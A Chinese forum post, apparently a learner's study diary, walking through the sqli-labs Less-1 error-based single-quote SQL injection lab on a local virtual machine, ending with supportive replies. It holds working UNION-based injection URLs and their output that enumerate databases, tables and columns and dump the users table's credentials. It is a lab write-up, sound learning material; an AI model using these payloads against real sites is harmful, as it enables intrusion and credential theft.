小菜鸟一枚 发表于 2021-9-30 17:48

学破解第143天,《Less-1 GET型基于错误的单引号字符型注入》学习

## 学破解第143天,《Less-1 GET型基于错误的单引号字符型注入》学习
前言:
  从小学到大专(计算机网络技术专业),玩过去的,所以学习成绩惨不忍睹,什么证书也没考,直到找不到工作才后悔,不知道怎么办才好。

  2017年12月16日,通过19元注册码注册论坛账号,开始做伸手党,潜水一年多,上来就是找软件。(拿论坛高大上的软件出去装X)

  2018年8月10日,报名了华中科技大学网络教育本科(计算机科学与技术专业)2018级秋季。(开始提升学历)

  2019年6月17日,不愿再做小菜鸟一枚,开始零基础学习破解。(感谢小糊涂虫大哥在我刚开始学习脱壳时,录制视频解答我的问题)

  2020年7月7日,感谢H大对我的鼓励,拥有了第一篇获得优秀的文章。(接下来希望学习逆向,逆天改命)

  2021年8月11日,华科学位英语2次不过,仅取得了毕业证书,学业提升失败,开始琢磨考注册类和职称类证书,谋求涨薪

  坛友们,年轻就是资本,和我一起逆天改命吧,我的学习过程全部记录及学习资源:(https://www.52pojie.cn/thread-1503734-1-1.html)
立帖为证!--------记录学习的点点滴滴

### 0x1 PHP源码修改
  1.打开index文件源码看到,这里有sql语句:
```
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
```

  2.接下来百度下php语法:
PHP 变量规则:
变量以 $ 符号开始,后面跟着变量的名称
变量名必须以字母或者下划线字符开始
变量名只能包含字母、数字以及下划线(A-z、0-9 和 _ )
变量名不能包含空格
变量名是区分大小写的($y 和 $Y 是两个不同的变量)

  3.现在能看懂这段代码了吧,执行SQL语句,返回结果存储在result中。

  4.我们要干的是啥呢?打印sql语句,看看我们get方式传进来的参数变成啥样子,百度得到下面的知识:
PHP echo 和 print 语句
echo 和 print 区别:
echo - 可以输出一个或多个字符串
print - 只允许输出一个字符串,返回值总为 1
提示:echo 输出的速度比 print 快, echo 没有返回值,print有返回值1。

  5.接下来就可以动手添加我们的代码了,加一句输出,方便我们一会理解为什么能注入。
```
echo $sql;
print "<br/>";
```
这里为了学习,两个一起用,嘿嘿。

### 0x2 尝试注入
&emsp;&emsp;1.浏览器访问靶机,打开题目:
!(https://z3.ax1x.com/2021/09/30/4Itya4.png)

&emsp;&emsp;2.按照题目用id作为参数注入,试试单引号,看是否存在注入点,测试(http://192.168.32.129:8888/sqli-labs-master/Less-1/?id=1%27)
!(https://z3.ax1x.com/2021/09/30/4INnwF.png)
可以看到,我们输入的参数被直接带入到数据库查询了,多出来了1个',所以报错了,所以判断这里存在注入点。其次再看看SELECT * FROM users WHERE id='1'' LIMIT 0,1,这是我们添加的打印语句,能明确的告诉我们语句未闭合。

&emsp;&emsp;3.那么怎么让数据闭合呢?学过C语言的小菜鸟知道,可以用//注释代码,在sql中怎么注释代码呢?
第一种(因为我们只能控制左边,所以不能用在这里):
/\* \*/
第二种(这种注意--后面有空格):
--
第三种(不用加空格就能注释掉):
\#

&emsp;&emsp;4.接下来输入测试,看能不能注释掉:
第一种方法:(http://192.168.32.129:8888/sqli-labs-master/Less-1/?id=1%27#)
SELECT * FROM users WHERE id='1'' LIMIT 0,1报错,没有成功注释后面的单引号
第二种方法:(http://192.168.32.129:8888/sqli-labs-master/Less-1/?id=1%27--)
SELECT * FROM users WHERE id='1'--' LIMIT 0,1报错,还是没注释掉单引号

小菜鸟满头问号???什么情况,大佬难道百度分享假的教程。
!(https://static.52pojie.cn/static/image/smiley/laohu/laohu22.gif)

&emsp;&emsp;5.等等,看看地址栏,怎么混入了奇奇怪怪的东西,明明输入的是单引号,为什么变成23%了?
(http://192.168.32.129:8888/sqli-labs-master/Less-1/?id=1%27--)
百度搜索了一下,说是URL编码(详见文末参考资料),也就是说需要转义,浏览器空格末尾打不上上去,#默认理解为锚点。

|字符        |来自 Windows-1252        |来自 UTF-8        |
| -- | -- | -- |
|space        |%20                                |%20                |
|!                |%21                                |%21                |
|"                |%22                                |%22                |
|#                |%23                                |%23                |
|$                |%24                                |%24                |
|%                |%25                                |%25                |
|&                |%26                                |%26                |
|'                |%27                                |%27                |
|(                |%28                                |%28                |
|)                |%29                                |%29                |
|*                |%2A                                |%2A                |
|+                |%2B                                |%2B                |
|,                |%2C                                |%2C                |
|-                |%2D                                |%2D                |
|.                |%2E                                |%2E                |
|/                |%2F                                |%2F                |

&emsp;&emsp;6.修改一下注入语句,URL编码后再注入:
第一种方法:(http://192.168.32.129:8888/sqli-labs-master/Less-1/?id=1%27%23)
SELECT * FROM users WHERE id='1'#' LIMIT 0,1,可以看到注入成功。
第二种方法:(http://192.168.32.129:8888/sqli-labs-master/Less-1/?id=1%27--%20)
SELECT * FROM users WHERE id='1'-- ' LIMIT 0,1,同样注入成功。

### 0x3 实战打靶
&emsp;&emsp;1.想办法一步步获取数据库信息,首先还是回到虚拟机,在phpstudy中一键安装PHPMyadmin:
!(https://z3.ax1x.com/2021/09/30/4I2xOg.png)
然后回到真机环境下浏览器访问:(http://192.168.32.129:8888/phpMyAdmin4.8.5/)
在这里可以测试SQL语句:
SELECT * FROM `users` ORDER BY 1,按第一列排序
SELECT * FROM `users` ORDER BY 2,按第二列排序
......
SELECT * FROM `users` ORDER BY 4,发现报错了,说明只有3列,利用这个思路,我们在浏览器中输入:(http://192.168.32.129:8888/sqli-labs-master/Less-1/?id=1%27%20order%20by%204%23)
发现错误提示:Unknown column '4' in 'order clause',说明只有3个列。

&emsp;&emsp;2.接着我们输入:(http://192.168.32.129:8888/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,2,3%23)
这里使用union联合查询,这里为什么id=-1,是因为需要让前半句参数失效,显示后半句执行的结果。
!(https://z3.ax1x.com/2021/09/30/4o8JzV.png)
可以发现这里2和3进行了回显,那我就可以利用2或者3列显示我想知道的数据。
注意:select语句的参数个数仍要保持与前半句一致,否则就会造成语法错误。

&emsp;&emsp;3.假设我想利用第二列回显当前数据库:浏览器输入:(http://192.168.32.129:8888/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,database(),3%23)
输出:
SELECT * FROM users WHERE id='-1' union select 1,database(),3#' LIMIT 0,1
Your Login name:security
Your Password:3
第二列就告诉了我们当前数据库是security。

&emsp;&emsp;4.假设我想利用第三列回显所有数据库,浏览器输入:(http://192.168.32.129:8888/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,2,group_concat(schema_name)%20from%20information_schema.schemata%23)
输出:
SELECT * FROM users WHERE id='-1' union select 1,2,group\_concat(schema\_name) from information_schema.schemata#' LIMIT 0,1
Your Login name:2
Your Password:information\_schema,challenges,mysql,performance_schema,security
group_concat函数作用:原本这列只能回显一行数据,通过这个函数将多个行变成一个字符串返回。(详细用法见文末参考资料)

&emsp;&emsp;5.再来试试查看制定数据库下的所有表名:(http://192.168.32.129:8888/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,2,group_concat(table_name)%20from%20information\_schema.tables%20where%20table_schema=%27security%27%23)
输出:
SELECT * FROM users WHERE id='-1' union select 1,2,group\_concat(table\_name) from information\_schema.tables where table_schema='security'#' LIMIT 0,1
Your Login name:2
Your Password:emails,referers,uagents,users
可以看到有四张表

&emsp;&emsp;6.再来试试查看表中的所有列:(http://192.168.32.129:8888/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,2,group_concat(column_name)%20from%20information\_schema.columns%20where%20table_name=%27users%27%23)
输出:
SELECT * FROM users WHERE id='-1' union select 1,2,group\_concat(column\_name) from information\_schema.columns where table_name='users'#' LIMIT 0,1
Your Login name:2
Your Password:id,username,password
可以看到有三列

&emsp;&emsp;7.查询users表中所有的账户和密码:(http://192.168.32.129:8888/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,2,group_concat(concat_ws(%27||%27,username,password))%20from%20security.users%23)
输出:
SELECT * FROM users WHERE id='-1' union select 1,2,group\_concat(concat_ws('||',username,password)) from security.users#' LIMIT 0,1
Your Login name:2
Your Password:Dumb||Dumb,Angelina||I-kill-you,Dummy||p@ssword,secure||crappy,stupid||stupidity,superman||genious,batman||mob!le,admin||admin,admin1||admin1,admin2||admin2,admin3||admin3,dhakkan||dumbo,admin4||admin4
说明:这里group\_concat函数里面又嵌套了一个concat\_ws是用来以双竖线分割用户名和密码的,不然连在一起,都不知道那是用户名,哪是密码了。

### 0x4总结
&emsp;&emsp;1.跟着教程来,其实并不难,一定要理解,不能直接复制粘贴,不能换个环境就用不了。
&emsp;&emsp;2.第一步让数据库查询语句出错,看是否存在注入点,我们输入的内容有没有被过滤,有没有带入数据库查询。
&emsp;&emsp;3.第二步就是让sql语句闭合,能执行我们构造的语句。
&emsp;&emsp;4.最后就是找到回显数据的地方,想办法查看我们所需的信息。

### 0x5参考资料
&emsp;&emsp;1.(https://www.runoob.com/php/php-tutorial.html)
&emsp;&emsp;2.(http://c.biancheng.net/view/7227.html)
&emsp;&emsp;3.(https://www.w3school.com.cn/tags/html_ref_urlencode.asp)
&emsp;&emsp;4.(https://www.runoob.com/mysql/mysql-tutorial.html)

&emsp;&emsp;**PS:善于总结,善于发现,找到分析问题的思路和解决问题的办法。虽然我现在还是零基础的小菜鸟一枚,也许学习逆向逆天改命我会失败,但也有着成功的可能,只要还有希望,就决不放弃!**

nur11111 发表于 2021-9-30 18:51

不明觉厉!!

cosn 发表于 2021-9-30 20:28

必须要支持一下。。

daymissed 发表于 2021-10-1 10:12

支持大佬的好样的.

haitunhv 发表于 2021-10-1 11:09

跟着大佬每天学习ing

mijinone 发表于 2021-10-1 11:15

菜鸟还懂,先支持

红蓝黄 发表于 2021-10-1 13:37

很激励,每天学习

秋海明月 发表于 2021-10-1 19:34

不明觉厉!!

aonima 发表于 2021-10-2 20:57

加油!!!!

126277330 发表于 2021-10-2 22:02

大佬咋开始学SQL注入了{:1_886:}
页: [1] 2
查看完整版本: 学破解第143天,《Less-1 GET型基于错误的单引号字符型注入》学习